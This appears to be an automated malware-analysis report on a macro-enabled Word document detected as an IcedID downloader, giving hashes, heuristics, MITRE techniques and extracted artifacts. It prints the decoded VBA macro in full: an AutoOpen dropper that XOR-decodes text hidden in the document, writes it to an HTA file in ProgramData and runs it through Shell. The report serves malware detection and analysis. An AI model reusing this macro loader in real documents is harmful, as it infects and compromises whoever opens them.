Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4f6c82b8c7c0f04f…

MALICIOUS

Office (OOXML)

46.8 KB Created: 2021-06-17 10:38:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: e96c00eb356f48d1269dbf8f1d2c2e25 SHA-1: ddac3713de7fb745422a7ffaf77b3172d8a84906 SHA-256: 4f6c82b8c7c0f04fdb4abc12bdd4574dbd7c1dc832cb2a3e43b61c0e34a276d8
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

This OOXML document contains VBA macros that are automatically executed upon opening, as indicated by the AutoOpen macro and the Shell() call. The script attempts to construct a path to a file named 'buttLocal.h' in the 'C:\ProgramData' directory and likely downloads and executes a second-stage payload from it. The ClamAV detection name 'Doc.Downloader.IcedID' suggests a downloader family.

Heuristics 6

  • ClamAV: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1178 bytes
SHA-256: 58d88ce7d10a1bc65ecec6205da4f5e5c9a103935f0ebd50453afe6c8bed1708
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "objectStorage"
Function initMain(captionLen)
Debug.Print Shell(Trim("" + localMem(captionLen & "orer ")))
End Function
Function localMem(captionLen, Optional lengthLengthClass = "c:\progra", Optional memoryData = "ta")
localMem = captionLen & lengthLengthClass & "mdata\buttLocal.h" & memoryData
End Function
Function scrProc(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 100)
Next
scrProc = out
End Function

Attribute VB_Name = "optionLstCollection"
Sub autoopen()
remBoolean
genericLong = initMain("expl")
End Sub

Attribute VB_Name = "deleteAlt"
Sub remBoolean()
Open localMem("") For Output As #1
Print #1, buttListScr
Close #1
End Sub
Function buttListScr()
buttListScr = scrProc(setVba)
End Function
Function setVba()
setVba = Split(ActiveDocument.Range.Text, "x")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 1c20d9f1d7866c1c43e48d20152d0e8d03805258c0294e50f5844936ea63fff0